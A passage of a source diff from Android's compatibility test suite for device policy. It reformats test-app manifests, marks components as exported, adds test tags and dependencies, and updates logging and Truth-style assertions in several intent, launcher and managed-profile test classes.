+++ b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
@@ -15,35 +15,37 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.intent.receiver">
+     package="com.android.cts.intent.receiver">
 
     <uses-sdk android:minSdkVersion="19"/>
 
     <uses-permission android:name="com.android.cts.managedprofile.permission.SAMPLE"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="com.android.cts.intent.receiver.IntentReceiverActivity">
+        <activity android:name="com.android.cts.intent.receiver.IntentReceiverActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.action.COPY_TO_CLIPBOARD" />
-                <action android:name="com.android.cts.action.READ_FROM_URI" />
-                <action android:name="com.android.cts.action.TAKE_PERSISTABLE_URI_PERMISSION" />
-                <action android:name="com.android.cts.action.WRITE_TO_URI" />
+                <action android:name="com.android.cts.action.COPY_TO_CLIPBOARD"/>
+                <action android:name="com.android.cts.action.READ_FROM_URI"/>
+                <action android:name="com.android.cts.action.TAKE_PERSISTABLE_URI_PERMISSION"/>
+                <action android:name="com.android.cts.action.WRITE_TO_URI"/>
                 <action android:name="com.android.cts.action.NOTIFY_URI_CHANGE"/>
                 <action android:name="com.android.cts.action.OBSERVE_URI_CHANGE"/>
-                <action android:name="com.android.cts.action.JUST_CREATE" />
-                <action android:name="com.android.cts.action.CREATE_AND_WAIT" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.action.JUST_CREATE"/>
+                <action android:name="com.android.cts.action.CREATE_AND_WAIT"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <activity android:name=".SimpleIntentReceiverActivity" android:exported="true"/>
+        <activity android:name=".SimpleIntentReceiverActivity"
+             android:exported="true"/>
 
         <activity-alias android:name=".BrowserActivity"
-            android:targetActivity=".SimpleIntentReceiverActivity">
+             android:targetActivity=".SimpleIntentReceiverActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW"/>
                 <category android:name="android.intent.category.DEFAULT"/>
@@ -53,16 +55,19 @@
         </activity-alias>
 
         <activity-alias android:name=".AppLinkActivity"
-            android:targetActivity=".SimpleIntentReceiverActivity">
+             android:targetActivity=".SimpleIntentReceiverActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW"/>
                 <category android:name="android.intent.category.DEFAULT"/>
                 <category android:name="android.intent.category.BROWSABLE"/>
-                <data android:scheme="http" android:host="com.android.cts.intent.receiver"/>
+                <data android:scheme="http"
+                     android:host="com.android.cts.intent.receiver"/>
             </intent-filter>
         </activity-alias>
 
-        <receiver android:name=".BroadcastIntentReceiver">
+        <receiver android:name=".BroadcastIntentReceiver"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.DEVICE_OWNER_CHANGED"/>
             </intent-filter>
@@ -70,9 +75,8 @@
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.intent.receiver"
-        android:label="Intent Receiver CTS Tests" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.intent.receiver"
+         android:label="Intent Receiver CTS Tests"/>
 
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/BroadcastIntentReceiver.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/BroadcastIntentReceiver.java
index 34b8798..3aef15f 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/BroadcastIntentReceiver.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/BroadcastIntentReceiver.java
@@ -20,9 +20,12 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.SharedPreferences;
+import android.util.Log;
 
 public class BroadcastIntentReceiver extends BroadcastReceiver {
 
+    private static final String TAG = BroadcastIntentReceiver.class.getSimpleName();
+
     static final String OWNER_CHANGED_BROADCAST_RECEIVED_KEY
          = "owner-changed-broadcast-received";
 
@@ -30,6 +33,7 @@
 
     @Override
     public void onReceive(Context c, Intent i) {
+        Log.i(TAG, "onReceive(userId=" + c.getUserId() + "): " + i);
         SharedPreferences prefs = c.getSharedPreferences(PREFERENCES_NAME, Context.MODE_PRIVATE);
         SharedPreferences.Editor editor = prefs.edit();
         editor.putBoolean(OWNER_CHANGED_BROADCAST_RECEIVED_KEY, true);
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
index f305e86..14f9c15 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
@@ -16,19 +16,18 @@
 
 package com.android.cts.intent.receiver;
 
-import android.app.admin.DevicePolicyManager;
 import android.content.Context;
-import android.content.Intent;
 import android.content.SharedPreferences;
 import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
 import android.test.InstrumentationTestCase;
 
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
-import java.lang.InterruptedException;
 
 public class OwnerChangedBroadcastTest extends InstrumentationTestCase {
 
+    private static final String TAG = OwnerChangedBroadcastTest.class.getSimpleName();
+
     private SharedPreferences mPreferences;
 
     @Override
@@ -42,7 +41,7 @@
     // We can't just register a broadcast receiver in the code because the broadcast
     // may have been sent before this test is run. So we have a manifest receiver
     // listening to the broadcast and writing to a shared preference when it receives it.
-    public void testOwnerChangedBroadcastReceived() throws InterruptedException {
+    public void testOwnerChangedBroadcastReceived() throws Exception {
         final Semaphore mPreferenceChanged = new Semaphore(0);
 
         OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/SimpleIntentReceiverActivity.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/SimpleIntentReceiverActivity.java
index 23755df..0b6c1b7 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/SimpleIntentReceiverActivity.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/SimpleIntentReceiverActivity.java
@@ -16,13 +16,12 @@
 
 package com.android.cts.intent.receiver;
 
-import android.app.admin.DevicePolicyManager;
 import android.app.Activity;
+import android.app.admin.DevicePolicyManager;
 import android.content.Context;
 import android.content.Intent;
-import android.util.Log;
-
 import android.os.Bundle;
+import android.util.Log;
 
 /**
  * An activity that receives an intent and returns immediately, indicating its own name and if it is
@@ -41,8 +40,8 @@
                 (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
         boolean inManagedProfile = dpm.isProfileOwnerApp("com.android.cts.managedprofile");
 
-        Log.i(TAG, "activity " + className + " started, is in managed profile: "
-                + inManagedProfile);
+        Log.i(TAG, "activity " + className + " started on user " + getUserId()
+                + ", is in managed profile: " + inManagedProfile);
         Intent result = new Intent();
         result.putExtra("extra_receiver_class", className);
         result.putExtra("extra_in_managed_profile", inManagedProfile);
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.bp b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
index db80feb..9948be7 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.bp
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsIntentSenderApp",
     defaults: ["cts_defaults"],
@@ -28,6 +24,7 @@
         "ctstestrunner-axt",
         "ub-uiautomator",
         "androidx.legacy_legacy-support-v4",
+        "truth-prebuilt",
     ],
     platform_apis: true,
     // tag this module as a cts test artifact
@@ -35,5 +32,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml b/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml
index 730250b..4953096 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/IntentSender/AndroidManifest.xml
@@ -15,43 +15,39 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.intent.sender">
+     package="com.android.cts.intent.sender">
 
-    <permission
-        android:name="com.android.cts.intent.sender.permission.SAMPLE"
-        android:label="Sample Permission" />
+    <permission android:name="com.android.cts.intent.sender.permission.SAMPLE"
+         android:label="Sample Permission"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name=".IntentSenderActivity">
+        <activity android:name=".IntentSenderActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <provider
-            android:name="androidx.core.content.FileProvider"
-            android:authorities="com.android.cts.intent.sender.fileprovider"
-            android:grantUriPermissions="true"
-            android:exported="false">
-            <meta-data
-                android:name="android.support.FILE_PROVIDER_PATHS"
-                android:resource="@xml/filepaths" />
+        <provider android:name="androidx.core.content.FileProvider"
+             android:authorities="com.android.cts.intent.sender.fileprovider"
+             android:grantUriPermissions="true"
+             android:exported="false">
+            <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
+                 android:resource="@xml/filepaths"/>
         </provider>
 
-        <provider
-            android:name=".BasicContentProvider"
-            android:authorities="com.android.cts.intent.sender.provider"
-            android:grantUriPermissions="true"
-            android:exported="true"
-            android:permission="com.android.cts.intent.sender.permission.SAMPLE" />
+        <provider android:name=".BasicContentProvider"
+             android:authorities="com.android.cts.intent.sender.provider"
+             android:grantUriPermissions="true"
+             android:exported="true"
+             android:permission="com.android.cts.intent.sender.permission.SAMPLE"/>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.intent.sender"
-        android:label="Intent Sender CTS Tests" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.intent.sender"
+         android:label="Intent Sender CTS Tests"/>
 
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
index eef1577..23860f3 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
@@ -16,12 +16,17 @@
 
 package com.android.cts.intent.sender;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.net.Uri;
 import android.test.InstrumentationTestCase;
 
+import java.util.List;
+
 public class AppLinkTest extends InstrumentationTestCase {
 
     private static final String TAG = "AppLinkTest";
@@ -75,19 +80,25 @@
             throws Exception {
         PackageManager pm = mContext.getPackageManager();
 
-        Intent result = mActivity.getResult(getHttpIntent());
-        assertNotNull(result);
+        Intent intent = getHttpIntent();
+        Intent result = mActivity.getResult(intent);
+        assertWithMessage("result for intent %s", intent).that(result).isNotNull();
 
         // If it is received in the other profile, we cannot check the class from the ResolveInfo
         // returned by queryIntentActivities. So we rely on the receiver telling us its class.
-        assertEquals(receiverClassName, result.getStringExtra(EXTRA_RECEIVER_CLASS));
-        assertTrue(result.hasExtra(EXTRA_IN_MANAGED_PROFILE));
-        assertEquals(inManagedProfile, result.getBooleanExtra(EXTRA_IN_MANAGED_PROFILE, false));
+        assertWithMessage("extra %s on intent %s", EXTRA_RECEIVER_CLASS, result)
+                .that(result.getStringExtra(EXTRA_RECEIVER_CLASS)).isEqualTo(receiverClassName);
+        assertWithMessage("has extra %s on intent %s", EXTRA_IN_MANAGED_PROFILE, result)
+                .that(result.hasExtra(EXTRA_IN_MANAGED_PROFILE)).isTrue();
+        assertWithMessage("extra %s on intent %s", EXTRA_IN_MANAGED_PROFILE, result)
+                .that(result.getBooleanExtra(EXTRA_IN_MANAGED_PROFILE, false))
+                .isEqualTo(inManagedProfile);
     }
 
     private void assertNumberOfReceivers(int n) {
         PackageManager pm = mContext.getPackageManager();
-        assertEquals(n, pm.queryIntentActivities(getHttpIntent(), /* flags = */ 0).size());
+        List<ResolveInfo> receivers = pm.queryIntentActivities(getHttpIntent(), /* flags = */ 0);
+        assertWithMessage("receivers").that(receivers).hasSize(n);
     }
 
     private Intent getHttpIntent() {
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
index a9ba46d..d76cff7 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsLauncherAppsTests",
     defaults: ["cts_defaults"],
@@ -36,5 +32,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
index cade532..b0b541b 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
@@ -126,6 +126,7 @@
             if (activity.getComponentName().getPackageName().equals(
                     SIMPLE_APP_PACKAGE)) {
                 foundSimpleApp = true;
+                assertEquals(1.0f, activity.getLoadingProgress());
             }
             assertTrue(activity.getUser().equals(mUser));
         }
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
index f205874..0c4faaa 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
@@ -109,7 +109,6 @@
             return;
         }
         setDefaultLauncher(InstrumentationRegistry.getInstrumentation(), mOriginalLauncher);
-        startActivitySync(mOriginalLauncher);
     }
 
     @Test
@@ -295,9 +294,8 @@
     }
 
     private void setTestAppAsDefaultLauncher() {
-        setDefaultLauncher(
-                InstrumentationRegistry.getInstrumentation(),
-                LAUNCHER_ACTIVITY.flattenToString());
+        setDefaultLauncher(InstrumentationRegistry.getInstrumentation(),
+                LAUNCHER_ACTIVITY.getPackageName());
     }
 }
 
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
index 1a4f063..0458b00 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsLauncherAppsTestsSupport",
     defaults: ["cts_defaults"],
@@ -28,5 +24,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/AndroidManifest.xml b/hostsidetests/devicepolicy/app/LauncherTestsSupport/AndroidManifest.xml
index 14abd1a..ae9b27e 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/AndroidManifest.xml
@@ -15,19 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.launchertests.support">
+     package="com.android.cts.launchertests.support">
 
     <!-- Target 25.  Don't change to >= 26 since that'll break background services. -->
-    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="25"/>
+    <uses-sdk android:minSdkVersion="21"
+         android:targetSdkVersion="25"/>
 
     <application>
-        <service android:name=".LauncherCallbackTestsService" >
+        <service android:name=".LauncherCallbackTestsService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.launchertests.support.REGISTER_CALLBACK" />
+                <action android:name="com.android.cts.launchertests.support.REGISTER_CALLBACK"/>
             </intent-filter>
         </service>
 
-        <activity android:name=".LauncherActivity">
+        <activity android:name=".LauncherActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
@@ -35,7 +38,8 @@
             </intent-filter>
         </activity>
 
-        <receiver android:name=".QuietModeCommandReceiver" android:exported="true">
+        <receiver android:name=".QuietModeCommandReceiver"
+             android:exported="true">
             <intent-filter>
                 <action android:name="toggle_quiet_mode"/>
             </intent-filter>
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
index c843216..157cb27 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsManagedProfileApp",
     defaults: ["cts_defaults"],
@@ -34,6 +30,7 @@
         "truth-prebuilt",
         "testng",
         "androidx.legacy_legacy-support-v4",
+        "devicepolicy-deviceside-common",
     ],
     min_sdk_version: "27",
     // tag this module as a cts test artifact
@@ -41,6 +38,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     platform_apis: true,
 }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index befdc0c..2c460a2 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -15,148 +15,155 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.managedprofile">
+     package="com.android.cts.managedprofile">
 
     <uses-sdk android:minSdkVersion="27"/>
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
-    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.BLUETOOTH" />
-    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
-    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
-    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
     <uses-permission android:name="android.permission.CALL_PHONE"/>
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
     <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-    <uses-permission android:name="android.permission.READ_CALENDAR" />
-    <uses-permission android:name="android.permission.WRITE_CALENDAR" />
+    <uses-permission android:name="android.permission.READ_CALENDAR"/>
+    <uses-permission android:name="android.permission.WRITE_CALENDAR"/>
     <uses-permission android:name="android.permission.REQUEST_PASSWORD_COMPLEXITY"/>
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-            android:name="com.android.cts.managedprofile.BaseManagedProfileTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.managedprofile.BaseManagedProfileTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <receiver
-                android:name="com.android.cts.managedprofile.ProvisioningTest$ProvisioningAdminReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.managedprofile.ProvisioningTest$ProvisioningAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <receiver
-            android:name="com.android.cts.managedprofile.PrimaryUserDeviceAdmin"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.managedprofile.PrimaryUserDeviceAdmin"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/primary_device_admin" />
+                 android:resource="@xml/primary_device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <activity android:name=".PrimaryUserFilterSetterActivity">
+        <activity android:name=".PrimaryUserFilterSetterActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.DEFAULT"/>
-                <category android:name="android.intent.category.LAUNCHER" />
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".ComponentDisablingActivity" android:exported="true">
+        <activity android:name=".ComponentDisablingActivity"
+             android:exported="true">
         </activity>
-        <activity android:name=".ManagedProfileActivity">
+        <activity android:name=".ManagedProfileActivity"
+             android:exported="true">
             <intent-filter>
                 <category android:name="android.intent.category.DEFAULT"/>
-                <action android:name="com.android.cts.managedprofile.ACTION_TEST_MANAGED_ACTIVITY" />
+                <action android:name="com.android.cts.managedprofile.ACTION_TEST_MANAGED_ACTIVITY"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SEND_MULTIPLE" />
-                <data android:mimeType="*/*" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SEND_MULTIPLE"/>
+                <data android:mimeType="*/*"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <activity android:name=".PrimaryUserActivity">
+        <activity android:name=".PrimaryUserActivity"
+             android:exported="true">
             <intent-filter>
                 <category android:name="android.intent.category.DEFAULT"/>
-                <action android:name="com.android.cts.managedprofile.ACTION_TEST_PRIMARY_ACTIVITY" />
+                <action android:name="com.android.cts.managedprofile.ACTION_TEST_PRIMARY_ACTIVITY"/>
             </intent-filter>
             <!-- Catch ACTION_PICK in case there is no other app handing it -->
             <intent-filter>
-                <action android:name="android.intent.action.PICK" />
-                <category android:name="android.intent.category.DEFAULT" />
-            </intent-filter>
-        </activity>
-        <activity android:name=".AllUsersActivity">
-            <intent-filter>
-                <category android:name="android.intent.category.DEFAULT"/>
-                <action android:name="com.android.cts.managedprofile.ACTION_TEST_ALL_ACTIVITY" />
-            </intent-filter>
-        </activity>
-        <activity
-            android:name=".SetPolicyActivity"
-            android:launchMode="singleTop">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.PICK"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <activity android:name=".TestActivity" />
+        <activity android:name=".AllUsersActivity"
+             android:exported="true">
+            <intent-filter>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <action android:name="com.android.cts.managedprofile.ACTION_TEST_ALL_ACTIVITY"/>
+            </intent-filter>
+        </activity>
+        <activity android:name=".SetPolicyActivity"
+             android:launchMode="singleTop"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <activity android:name=".TestActivity"/>
 
         <service android:name=".TestConnectionService"
-                 android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.ConnectionService" />
+                <action android:name="android.telecom.ConnectionService"/>
             </intent-filter>
         </service>
 
-        <activity android:name=".TestDialerActivity">
+        <activity android:name=".TestDialerActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:mimeType="vnd.android.cursor.item/phone" />
-                <data android:mimeType="vnd.android.cursor.item/person" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:mimeType="vnd.android.cursor.item/phone"/>
+                <data android:mimeType="vnd.android.cursor.item/person"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="tel" />
+                <action android:name="android.intent.action.VIEW"/>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="tel"/>
             </intent-filter>
         </activity>
-        <service android:name=".AccountService" android:exported="true">
+        <service android:name=".AccountService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
+                <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
             <meta-data android:name="android.accounts.AccountAuthenticator"
-                       android:resource="@xml/authenticator" />
+                 android:resource="@xml/authenticator"/>
         </service>
         <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"/>
 
-        <activity
-                android:name=".ProvisioningSuccessActivity"
-                android:theme="@android:style/Theme.NoDisplay">
+        <activity android:name=".ProvisioningSuccessActivity"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.PROVISIONING_SUCCESSFUL"/>
                 <category android:name="android.intent.category.DEFAULT"/>
@@ -164,68 +171,72 @@
         </activity>
 
         <activity android:name=".WebViewActivity"
-            android:process=":testProcess"/>
+             android:process=":testProcess"/>
 
-        <activity android:name=".TimeoutActivity" android:exported="true"/>
+        <activity android:name=".TimeoutActivity"
+             android:exported="true"/>
 
-        <activity
-            android:name=".TestCrossProfileViewEventActivity"
-            android:exported="true">
+        <activity android:name=".TestCrossProfileViewEventActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.provider.calendar.action.VIEW_MANAGED_PROFILE_CALENDAR_EVENT"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <service
-            android:name=".CrossProfileNotificationListenerService"
-            android:label="CrossProfileNotificationListenerService"
-            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" >
+        <service android:name=".CrossProfileNotificationListenerService"
+             android:label="CrossProfileNotificationListenerService"
+             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
+             android:exported="true">
